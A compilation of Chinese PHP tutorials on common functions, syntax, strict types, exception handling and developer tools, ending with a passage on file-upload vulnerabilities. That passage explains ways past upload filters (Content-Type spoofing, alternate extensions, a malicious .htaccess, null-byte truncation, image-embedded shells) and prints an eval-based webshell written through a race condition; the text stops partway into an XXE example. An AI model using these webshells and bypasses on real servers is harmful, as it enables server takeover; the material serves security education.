json_decode() json_encode() 和 json_decode() 简化 JSON 数据处理,实现快速编码和解码。 $data = [ 'name' => 'Roki' , 'age' => 25 ]; $json = json_encode ( $data ); echo $json ; // 输出:{"name":"Roki","age":25} $array = json_decode ( $json , true ); print_r ( $array ); // 输出:['name' => 'Roki', 'age' => 25]5、str_contains() str_contains() PHP 8 中新增,用于检查字符串是否包含特定子字符串。 $haystack = "我喜欢 PHP!" ; if ( str_contains ( $haystack , "PHP" )) { echo "PHP is present!" ; // 输出:PHP is present! }6、str_starts_with() 和 str_ends_with() str_starts_with() 和 str_ends_with() PHP 8 新增,用于快速判断字符串是否以特定子字符串开头或结尾。 if ( str_starts_with ( "hello world" , "hello" )) { echo "以 'hello' 开头!" ; // 输出:以 'hello' 开头! } if ( str_ends_with ( "hello world" , "world" )) { echo "以 'world' 结尾!" ; // 输出:以 'world' 结尾! }7、explode() 和 implode() explode() 和 implode() 简化字符串的拆分和连接操作。 // 拆分字符串 $string = "PHP,JavaScript,Python" ; $languages = explode ( "," , $string ); print_r ( $languages ); // 输出:['PHP', 'JavaScript', 'Python'] // 连接数组 $newString = implode ( " | " , $languages ); echo $newString ; // 输出:PHP | JavaScript | Python8、array_merge() array_merge() 轻松合并两个或多个数组。 $array1 = [ 'a' , 'b' ]; $array2 = [ 'c' , 'd' ]; $result = array_merge ( $array1 , $array2 ); print_r ( $result ); // 输出:['a', 'b', 'c', 'd']9、in_array() in_array() 轻松检查数组中是否存在特定值。 $fruits = [ 'apple' , 'banana' , 'cherry' ]; if ( in_array ( 'banana' , $fruits )) { echo "Banana is in the list!" ; // 输出:Banana is in the list! }10、array_unique() array_unique() 从数组中删除重复值。 $numbers = [ 1 , 2 , 2 , 3 , 4 , 4 , 5 ]; $uniqueNumbers = array_unique ( $numbers ); print_r ( $uniqueNumbers ); // 输出:[1, 2, 3, 4, 5]结论 掌握这些 PHP 函数不仅能让你的代码更简洁,还能提高你的整体开发速度。将它们集成到你的工作流程中,看看你能节省多少时间。 -
PHP 中不可不知的语法糖,你都用了哪些? PHP 中有很多语法糖(syntactic sugar),这些语法糖可以使代码更加简洁、易读,且有助于提高开发效率。以下是一些常见且非常有用的 PHP 语法糖,包含它们的用法和代码示例: 1. 短数组语法 [] PHP 在 5.4 引入了短数组语法,代替了传统的 array() 语法,使得数组的声明更加简洁。 // 传统数组语法 $array1 = array(1, 2, 3); // 短数组语法 $array2 = [1, 2, 3];2. 三元运算符 ?: 三元运算符是一种简洁的条件表达式,能够根据条件判断返回不同的值。 // 传统写法 if ($age >= 18) { $status = 'Adult'; } else { $status = 'Minor'; } // 使用三元运算符 $status = ($age >= 18) ? 'Adult' : 'Minor';PHP 还支持简化版的三元运算符(空值合并运算符): // 使用空值合并运算符 $name = $_GET['name'] ?? 'Guest'; // 如果 $_GET['name'] 存在,则使用它,否则使用 'Guest'3. Null 合并运算符 ?? 用于检查变量是否存在且不为 null,如果是,返回变量的值;如果不是,则返回默认值。 // 传统的判断写法 $name = isset($data['name']) ? $data['name'] : 'Default Name'; // 使用 Null 合并运算符 $name = $data['name'] ?? 'Default Name';4. 箭头函数 fn (PHP 7.4 引入) 箭头函数是一种简洁的匿名函数写法,它简化了函数的定义,特别适用于简单的回调函数。 // 传统的匿名函数 $square = function($n) { return $n * $n; }; // 使用箭头函数 $square = fn($n) => $n * $n;5. 类常量 ::class 通过 ::class 关键字可以获取类的完全限定名,这在自动加载和反射中非常有用。 // 获取类的完全限定名 echo DateTime::class; // 输出 "DateTime"6. yield 关键字(生成器) 生成器 (yield) 是一种简洁的方式来生成可迭代的序列,常用于处理大数据量而不想占用大量内存。 // 使用 yield 创建生成器 function countToTen() { for ($i = 1; $i <= 10; $i++) { yield $i; } } foreach (countToTen() as $number) { echo $number . "\n"; }7. finally 语句 finally 语句在 try-catch 语句块中执行,无论是否发生异常,它总是会被执行。用于清理操作,比如关闭文件、释放资源等。 try { // 可能会抛出异常的代码 throw new Exception("Something went wrong"); } catch (Exception $e) { echo "Caught exception: " . $e->getMessage(); } finally { echo "This will always run."; }8. 命名空间 namespace 命名空间是一种封装类、函数、常量等符号的机制,避免了命名冲突。它被引入 PHP 5.3。 // 定义命名空间 namespace MyApp; class MyClass { public function hello() { echo "Hello from MyClass!"; } } // 使用命名空间 use MyApp\MyClass; $obj = new MyClass(); $obj->hello(); // 输出 "Hello from MyClass!"9. 可变变量 $$ 可变变量允许你通过一个变量的值来动态创建变量名。 $var = 'hello'; $$var = 'world'; // 等价于 $hello = 'world'; echo $hello; // 输出 "world"10. 对象访问运算符 -> 在 PHP 中,可以通过 -> 运算符访问对象的属性或方法。 class Person { public $name; public function greet() { echo "Hello, " . $this->name; } } $person = new Person(); $person->name = 'John'; $person->greet(); // 输出 "Hello, John"11. 类型声明(Type Declarations) PHP 5.0 引入了类型声明,用于显式指定函数参数和返回值的类型,这有助于确保类型的正确性。 // 类型声明 function add(int $a, int $b): int { return $a + $b; } echo add(1, 2); // 输出 312. 短闭包 use 在匿名函数中,可以通过 use 关键字导入外部变量,这种方法比传统的全局变量引用更简洁。 $message = "Hello"; $greet = function() use ($message) { echo $message; }; $greet(); // 输出 "Hello"13. __DIR__ 和 __FILE__ __DIR__ 是当前脚本所在的目录,而 __FILE__ 是当前脚本的完整路径。这两个魔术常量可以帮助动态获取文件路径,通常用于文件包含或自动加载时。 // 输出当前脚本所在目录 echo __DIR__; // 输出当前脚本所在的目录 // 输出当前脚本的完整路径 echo __FILE__; // 输出当前脚本的完整路径14. isset 和 empty isset 和 empty 是 PHP 中常用的两个语法糖。isset 用于检测变量是否已被设置并且不为 null,empty 用于检查变量是否为空。 // isset 检查变量是否存在 $var = "hello"; echo isset($var); // 输出 1(true) // empty 检查变量是否为空 $var = 0; echo empty($var); // 输出 1(true)15. list() 解构赋值 list() 用于从数组中提取值并赋给变量,通常用于处理数组或返回多个值的函数。 // 使用 list() 解构赋值 $array = [1, 2, 3]; list($a, $b, $c) = $array; echo $a; // 输出 1 echo $b; // 输出 2 echo $c; // 输出 316. 匿名类 PHP 7 引入了匿名类(即没有类名的类),这使得我们可以动态创建类,通常用于临时性任务。 // 创建一个匿名类 $obj = new class { public function hello() { echo "Hello from anonymous class!"; } }; $obj->hello(); // 输出 "Hello from anonymous class!"总结 这些 PHP 语法糖可以让 PHP 开发者编写更加简洁、高效和可读的代码,减少了代码量并提高了开发效率。掌握这些语法糖是提升 PHP 开发技能的重要步骤。 -
解锁 PHP 严格类型:提升代码质量的密钥 对于广大 PHP 开发者来说,代码质量可是重中之重。今天就来聊聊 PHP 中的严格类型,这可是提升代码水平的一大 “神器”。 一、从一个小案例说起 话说有这么一位 PHP 开发者小李,在开发一个小型电商网站的过程中,写了一段看似普通的代码。这段代码用于计算商品的总价,函数接收商品数量和单价两个参数。一开始,小李没太在意参数的数据类型,在测试时传入了一个字符串形式的数量和浮点数的单价,代码居然悄无声息地进行了类型转换,得出了一个莫名其妙的结果,导致订单总价完全错误。这一问题可让小李头疼不已,而这,正是因为没有启用 PHP 严格类型引发的典型问题。由此,PHP 严格类型的重要性便初见端倪。 二、PHP 严格类型是什么 在 PHP 里,有个关键的 strict_types 指令。它就像是一位严谨的守门人,作用于文件级别,掌控着类型声明的严格性。当开启它后,函数的参数、返回值等都必须精准匹配预先设定的类型,容不得半点马虎。启用的方法很简单,只需在 PHP 代码文件的开头加上 declare(strict_types = 1); 这一行魔法代码,就能开启严格类型检查之旅。 三、严格类型的特点 1、精确匹配 一旦开启严格类型,函数参数和返回值都必须严格按照声明的类型来。比如说,定义了一个函数接收整数类型的参数,要是传入了字符串或者其他不匹配的类型,PHP 就会立刻报错,绝不姑息。这和未启用时的 “宽松” 形成鲜明对比,未启用时,PHP 会默默进行类型转换,虽然代码可能继续运行,但结果往往偏离预期,就像前面小李遇到的问题一样。 2、按文件生效 PHP 的严格类型检查是以文件为单位发挥作用的。这意味着,在一个多文件的项目中,每个文件都可以独立自主地决定是否开启严格类型。例如,在一个大型的 Web 应用里,有的文件处理核心业务逻辑,对数据准确性要求极高,开发者就可以在这些文件开启严格类型;而一些辅助性的文件,如简单的工具类文件,若开发者觉得暂时没必要严格约束,就可以选择不开启。这种灵活的设置方式,让开发者能根据实际需求精准把控代码质量。 四、PHP 严格类型的优势 1、提高代码质量 有了严格类型,就相当于给代码加了一道坚固的防护网。在开发阶段,它能提前揪出那些因类型不匹配导致的错误,避免这些隐患潜伏到运行时才爆发。如此一来,代码的稳定性大幅提升,上线后出现莫名其妙错误的概率也大大降低。 2、增强可读性和维护性 当代码中明确了类型声明,对于后续阅读和维护代码的人来说,就像是拥有了一张清晰的地图。新加入团队的成员或者几个月后开发者自己回头看代码,都能迅速了解函数期望接收的数据类型,从而更快地理解代码逻辑,方便进行修改和优化。 3、与现代编程接轨 在当今的编程世界里,越来越多的现代编程语言都强调强类型系统。PHP 引入严格类型,无疑是顺应了这一潮流,让 PHP 代码在面对复杂项目、大型团队协作时更具竞争力,有助于提升整个项目的代码现代化程度。 五、实际应用场景 1、敏感数据处理 在涉及敏感信息的场景中,比如用户密码验证模块,密码通常以字符串形式存储和处理。开启严格类型后,能确保传入验证函数的参数必须是正确的字符串格式,防止因意外的类型转换导致密码验证出错,保障用户账号安全。再如金融数据计算,像银行利息计算、股票交易金额计算等,每一个数字都关乎重大,严格类型确保参与计算的数据都是精确的数值类型,避免出现财务数据错误。 2、复杂业务逻辑 以电商系统的订单处理为例,订单创建、状态更新、物流配送信息关联等一系列操作涉及众多函数调用和数据传递。使用严格类型,能清晰界定每个环节所需的数据类型,从订单号的字符串格式,到商品数量、价格的数值类型,再到客户地址信息的结构化数据类型,让整个业务流程有条不紊地运行,降低错误发生的概率。同样,在物流跟踪系统中,快递单号的准确传递、时间戳的正确处理等,严格类型都能起到关键的保障作用。 六、如何启用和使用 1、启用方法 重点再强调一遍,开发者只需在 PHP 代码文件的开头添加declare(strict\_types = 1);,就能轻松开启严格类型检查模式,开启代码质量提升之路。 2、使用注意事项 需要注意的是,严格类型仅对有类型声明的代码生效。对于数组和对象的继承关系,以及一些动态类型检查的操作,它并不会产生干扰。开发者在使用过程中,要清楚了解这一点,合理利用严格类型的优势,避开不必要的误区。 总结 总的来说,PHP 严格类型对于开发者而言,就像是一把精准的手术刀,能够帮助他们雕琢出高质量、低错误率的代码。它在提升代码稳定性、可读性以及与现代编程接轨等方面都有着不可忽视的作用。各位 PHP 开发者们,不妨在接下来的项目中积极尝试启用严格类型,让自己的代码质量更上一层楼。 -
PHP文件操作指南:如何使用 fread 函数逐行读取大文件 在 PHP 中,处理大文件是常见的任务。然而,如果不使用适当的方法,读取大文件可能会导致内存溢出的问题。在本文中,我们将介绍如何使用 PHP 的 fread 函数逐行读取大文件,并提供相应的代码示例。 首先,让我们了解一下 fread 函数。该函数用于从文件中读取指定长度的数据。参数包括文件句柄和读取的字节数。 在读取大文件时,我们通常希望逐行读取,这样可以减少内存的消耗。下面是一个使用 fread 函数逐行读取大文件的示例代码: <?php function readLargeFile($filename) { $handle = fopen($filename, "r"); if ($handle) { while (($line = fgets($handle)) !== false) { // 处理每一行的数据 echo $line; } fclose($handle); } } // 使用示例 readLargeFile("large_file.txt"); ?>在上述代码中,我们首先使用 fopen 函数打开文件并获取文件句柄。然后,使用 while 循环和 fgets 函数逐行读取文件内容。在每次循环中,我们可以对每一行的数据进行处理。 值得注意的是,在处理大文件时,我们并不是一次性将整个文件加载到内存中。相反,我们每次只读取一行内容,并处理后再读取下一行,以此循环下去。这样做可以减少内存的消耗,避免因读取大文件而导致的内存溢出问题。 除了使用 fread 函数逐行读取大文件外,还有一些其他的技巧可以帮助我们更好地处理大文件。以下是一些值得注意的事项: 1、使用缓冲区:在读取大文件时,可以设置一个适当大小的缓冲区,将文件内容按块读取到缓冲区中,然后再逐行处理。这样可以提高读取文件的效率。 2、使用 fseek 函数:如果我们需要在大文件中进行定位,可以使用 fseek 函数跳转到指定的位置。这样我们就可以从指定位置开始逐行读取文件内容。 3、增加内存限制:在 PHP.ini 配置文件中,我们可以设置最大内存限制。如果我们处理的大文件超出了默认的内存限制,可以适当增大此限制。 综上所述,逐行读取大文件是一个常见且有挑战性的任务。通过使用 fread 函数和上述的技巧,我们可以更有效地处理大文件,降低内存消耗,并提高代码的性能。 -
解锁 PHP 异常处理:构建高可靠性应用 健壮的PHP应用注重完善的错误处理机制,它是可靠性、可性和用户友好性的基石。然而,维护错误处理却常常被忽视或未能得到一致的应用,导致代码库脆弱、难以实现调试和维护。尽管许多开发者意识到错误处理的重要性,但我却发现一些应该是常识性的做法,例如正确的处理异常,在实际项目中经常被误解、误用,甚至完全被忽略。这让我意识到即使到了,皮肤基本的错误处理技巧,也值得反复强调和重视。 这凸显了积极讨论和推广异常处理最佳实践的重要性。未能正确捕获错误、中断通用异常类型、或者在错误消息中遗漏了关键上下文信息,这些常见的错误都会降低应用程序的健壮性,并显着增加调试的难度。 本文将重点探讨PHP异常的重要性,以及如何利用它们编写更简洁、补充弹性的代码。通过理解异常的机制和正确的使用方法,我们可以弥补实践中的不足,构建既健壮又易于维护的应用程序。 为什么异常对于错误至关重要处理 传统的错误处理方式(如返回错误代码)常常导致代码冗长且容易出错。异常提供了一种更清晰、更格式化的错误处理方式,其优点在于: 分离错误处理逻辑与业务逻辑,使代码更简洁易懂。 支持集中式错误管理,提高代码的可维护性。 提供堆栈跟踪信息,简化调试过程。 采用包装的 try/catch 块,使错误处理流程更清晰。 使用异常能够确保在整个应用程序中实现一致且有效的错误处理。 1、抛出和捕获异常 而返回错误代码,不如使用 throw 语句发送异常。这会立即中断当前代码执行流程,确保错误被及时并发现处理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); } 异常会中断当前执行流程,并沿着调用栈向上冒泡,直到被捕获。 使用具体的异常类(如InvalidArgumentException)可以更清晰地表达错误类型,方便后续处理。 2、创建自定义异常类 为了更准确地描述和处理错误,建议创建自定义异常类。这有助于为错误添加特定上下文信息,从而更容易理解和管理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); }自定义异常可以提高代码的可执行性,并支持更细粒度的错误处理。 3、使用全局异常处理程序 为了捕获应用程序中所有未处理的异常,请设置一个全局异常处理程序。这样可以确保任何错误都不会被遗漏,并为意外错误提供兜底方案。 set_exception_handler(function ($exception) { error_log("Unhandled exception: " . $exception->getMessage()); echo "An unexpected error occurred. Please try again later."; }); throw new Exception("Test exception"); 集中式错误日志记录:主要是跟踪和分析错误。 优雅的用户体验型错误提示:提升用户体验。 防止程序崩溃:降低未处理异常导致应用程序崩溃的风险。 4、将错误转化为异常 PHP允许你使用自定义错误处理程序将传统错误(例如通知、警告)转换为异常。这有助于将所有错误处理统一到异常机制处理下。 set_error_handler(function ($severity, $message, $file, $line) { throw new ErrorException($message, 0, $severity, $file, $line); }); try { echo $undefinedVariable; // Will trigger an error } catch (ErrorException $e) { echo "Converted Error: " . $e->getMessage(); }将错误转换为异常后,你可以使用try-catch代码块对所有问题进行统一管理。 5、记录异常 为了方便排查故障和监控系统运行状况,一定记录所有异常。建议使用 Monolog 等日志库,或 Sentry 等外部监控服务。 try { throw new RuntimeException("Something went wrong."); } catch (RuntimeException $e) { error_log($e->getMessage()); echo "An error occurred. Please try again later."; }预定日志信息包含关键细节,例如错误消息、堆栈跟踪以及时钟。 6、应用程序逻辑的异常 异常不仅可以处理运行时错误,还可以用于增强业务逻辑的健壮性以及验证用户输入。 function processOrder($quantity) { if ($quantity <= 0) { throw new InvalidArgumentException("Quantity must be greater than zero."); } echo "Order processed for quantity: $quantity"; } try { processOrder(0); } catch (InvalidArgumentException $e) { echo "Validation Error: " . $e->getMessage(); }将异常用于逻辑验证有助于保证代码的健壮性和可预测性。 总结 异常是构建健壮且易于维护的PHP应用程序的强大工具。通过以下实践: 使用錯誤類型 设置全局异常处理程序 将错误转化为异常 记录错误 您可以构建一致且构造的错误处理策略。异常能够确保错误得到有效处理,使代码更简洁、更容易调试。 错误的目的,但完善的异常处理机制可以化解混乱,提升应用的稳定性和可靠性。 -
15 个让你的 PHP 开发工作 更轻松的插件 在 PHP 开发过程中,借助各种插件可以显著提高开发效率、增强代码质量、改善工作流等。 以下是 15 个推荐的 PHP 插件,它们可以帮助你更轻松地进行开发,涵盖代码质量、调试、自动化、框架支持等多个方面。 PHPStan PHPStan 是一个静态分析工具,它帮助开发者发现潜在的错误和不一致的代码。PHPStan 支持各种 PHP 版本,并能发现潜在的类型错误、未使用的代码等问题。 功能: 静态类型检查。 提供详细的错误信息。 与 IDE 集成,实时反馈错误。 安装: composer require --dev phpstan/phpstan集成:与 IDE 如 PHPStorm、VSCode 配合使用,提供实时分析。 Xdebug Xdebug 是 PHP 中最常用的调试工具。它允许你进行步进调试、性能分析(profiling)和代码覆盖分析。Xdebug 通过提供堆栈跟踪和详细的错误信息,可以帮助你快速定位问题。 功能: 断点调试。 性能分析。 堆栈跟踪和错误日志。 安装: sudo apt-get install php-xdebug集成:可以与 IDE(如 PHPStorm、VSCode)配合使用,进行更高效的调试。 PHP_CodeSniffer PHP\_CodeSniffer 是一个用于检测 PHP 代码是否符合 PSR 编码标准的工具。它可以自动检查你的代码是否遵循 PSR-1、PSR-2、PSR-12 等编码标准,保持代码的一致性和可读性。 功能: 自动检测编码风格错误。 提供修复建议。 支持 PSR 标准和其他编码风格。 安装: composer require --dev squizlabs/php_codesniffer集成:与 IDE(如 PHPStorm)集成,自动提示代码风格问题。 Composer Composer 是 PHP 中最常用的依赖管理工具,几乎每个 PHP 项目都会使用它。它不仅用于管理第三方库,还能处理自动加载和版本控制。 功能: 管理项目的依赖。 支持自动加载。 提供版本控制和更新。 安装: curl -sS https://getcomposer.org/installer | php集成:集成到任何 PHP 项目中,自动管理依赖库。 Laravel Debugbar Laravel Debugbar 是一个用于 Laravel 框架的调试工具,它可以显示详细的请求信息、数据库查询、视图渲染、路由等调试信息。 功能: 显示请求的 HTTP 信息。 显示数据库查询、模型调试。 提供内存使用和执行时间统计。 安装: composer require barryvdh/laravel-debugbar --devTinker Tinker 是 Laravel 框架自带的交互式命令行工具。它让你可以在命令行中直接执行 PHP 代码,进行测试和调试,特别适合 Laravel 的开发者。 功能: 交互式命令行。 直接执行 Eloquent 查询和模型操作。 快速测试代码片段。 安装: composer require laravel/tinker --devPHPUnit PHPUnit 是 PHP 中最常用的单元测试框架。它帮助开发者编写和运行测试,确保代码的可靠性和稳定性。 功能: 单元测试、集成测试和功能测试。 提供详细的测试报告。 与 CI/CD 工具集成,自动化测试。 安装: composer require --dev phpunit/phpunitTwig Twig 是一个灵活的 PHP 模板引擎,它非常适用于动态内容生成。它的语法简洁,提供了丰富的扩展功能。 功能: 支持条件语句、循环、过滤器等。 提供缓存机制,提高性能。 与 Symfony、Laravel 等框架兼容。 安装: composer require twig/twigPHPMD (PHP Mess Detector) PHPMD 是一个静态分析工具,用于检查 PHP 代码中的潜在问题。它会检测代码中的“坏味道”,如重复代码、过长的函数、复杂度高的函数等。 功能: 检测潜在的代码问题。 支持规则自定义。 提供详细的报告。 安装: composer require --dev phpmd/phpmdPHP-CS-Fixer PHP-CS-Fixer 是一个自动修复代码风格问题的工具,支持 PSR 规范和其他流行的编码标准。它不仅能帮助你发现代码风格问题,还能自动修复这些问题。 功能: 自动修复代码风格问题。 支持 PSR 标准和其他风格。 配置灵活,支持规则自定义。 安装: composer require --dev friendsofphp/php-cs-fixerLaravel Eloquent Sluggable Eloquent Sluggable 是一个 Laravel 插件,帮助你为模型生成 SEO 友好的 URL 标识符(Slug)。它可以自动为你创建和管理 slug。 功能: 自动生成 slug。 支持自定义字段生成 slug。 与 Eloquent 模型无缝集成。 安装: composer require cviebrock/eloquent-sluggableSwoole Swoole 是一个高性能的异步网络通信框架,旨在提升 PHP 的并发处理能力。它支持协程、WebSocket、HTTP 等功能,可以大幅提高 PHP 应用的性能。 功能: 支持协程、异步、并发。 支持 WebSocket、TCP、HTTP 等协议。 提升 PHP 应用的性能。 安装: pecl install swooleLaravel Horizon Laravel Horizon 是一个用于监控 Laravel 队列的插件,它提供了一个漂亮的仪表板,可以帮助开发者管理队列的处理过程、失败的任务等。 功能: 实时监控队列。 提供队列处理的统计信息。 支持队列任务的重试和失败日志。 安装: composer require laravel/horizonCarbon Carbon 是一个用于日期和时间处理的 PHP 扩展,基于 PHP 的 DateTime 类。它为日期和时间提供了很多方便的操作和格式化方法。 功能: 支持日期加减、格式化、比较。 提供丰富的日期操作方法。 兼容时区处理。 安装: composer require nesbot/carbonGuzzle Guzzle 是一个强大的 PHP HTTP 客户端,用于发送 HTTP 请求并处理响应。它支持同步和异步请求,支持文件上传、JSON 支持等功能。 功能: 支持同步和异步请求。 支持文件上传和 JSON 处理。 提供详细的错误处理。 安装: composer require guzzlehttp/guzzle总结 以上 15 个 PHP 插件覆盖了开发中的各个方面,从编码标准、测试工具、调试工具,到模板引擎、HTTP 客户端等,它们能帮助开发者提高代码质量、开发效率、调试体验和性能等。 如果你能在 PHP 项目中有效地应用这些插件,将会大大简化开发流程,提高团队协作效率,并让项目更具可维护性。 图片 -
PHP 文件上传漏洞总结 文件上传漏洞 文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。 影响 1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。 2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。 3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。 漏洞利用 当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。 无限制上传WebShell 服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。 绕过Centent-Type验证上传WebShell MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。 Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。 Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图: 图片 假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。 在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。 一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。 二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。 通过目录遍历上传WebShell 为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。 上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。 图片 遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图: 图片 使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。 绕过黑名单上传WebShell 情况一: 为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下: php > php3、php5、phtml jsp > jspx asp > asa、aspx如果服务器采用黑名单防护,可以尝试其他后缀代替。 情况二: 关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置: LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。 如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。 LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php .jpg .txt简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。 混淆后缀上传WebShell 双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。 大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。 多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。 尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。 尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。 URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。 这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。 绕过文件内容检查上传WebShell 为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。 可以制作一个图片马进行绕过,方式如下: copy test.jpg/b+shell.php shell.jpgcopy:windows系统复制命令。 test.jpg:合法图片文件。 /b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。 +:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。 shell.php:webshell。 shell.jpg:最后生成的图片马文件。 制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。 如果只检查文件头,则可以只修改文件头为合法的即可,如下: JPG:0xFF 0xD8 PNG:0x89 0x50 GIF:0x47 0x49修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图: 图片 条件竞争上传WebShell 现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。 但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。 操作只需要两步: 一、拦截上传请求,对其进行并发,文件后缀为php,内容如下: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>fopen('shell.php','w') :以写的模式打开shell.php,如果文件不存在就新建一个。 fputs :将 <?php @eval($_POST[123])?> 写入shell.php。 如下图: 图片 二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。 上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。 上传其他恶意文件 除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况: 一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。 二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。 docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下: docx 1、新建docx文件并解压。 2、解压后的文件结构如下图。 图片 word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。 图片 3、记事本打开文件document.xml进行修改。 4、document.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" 